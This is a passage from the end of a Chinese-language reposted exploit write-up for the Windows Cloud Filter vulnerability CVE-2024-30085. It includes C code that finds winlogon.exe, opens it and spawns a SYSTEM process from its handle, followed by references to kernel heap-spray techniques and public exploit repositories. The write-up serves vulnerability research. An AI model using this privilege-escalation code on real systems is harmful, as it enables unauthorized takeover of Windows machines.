HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
HANDLE winlogon_process = 0;
if (Process32First(snapshot, &entry) == TRUE) {
while (Process32Next(snapshot, &entry) == TRUE) {
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) {
winlogon_process = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, entry.th32ProcessID);
printf("[+] Found winlogon: 0x%lxn", winlogon_process);
}
}
}
printf("[+] SHELLZn");
CreateProcessFromHandle(winlogon_process);
漏洞利用演示
以下是漏洞利用程序运行时的效果:
漏洞利用源代码可以在这里获取。
参考资料
-
Windows Cloud Filter API documentation: https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/ -
Placeholder files: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/placeholders -
Reparse points: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/reparse-points -
Windows structs: https://www.vergiliusproject.com/ -
Cloud filter reparse data structs: https://github.com/ladislav-zezula/FileTest/blob/master/ReparseDataHsm.h -
ALPC technique by Xu, Song and Li: https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf -
PipeAttribute technqiue by Bayet and Fariello: https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf -
Windows kernel heap by Angelboy: https://speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1 -
Exploitation of CVE-2023-36424 using ALPC and PipeAttributes, and for ALPC heap spray code: https://github.com/zerozenxlabs/CVE-2023-36424 -
WNF heap spray: https://www.cnblogs.com/feizianquan/p/16089929.html -
Spawning process from handle: https://github.com/varwara/CVE-2024-35250/blob/main/CVE-2024-35250.cpp
原文始发于微信公众号(securitainment):我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论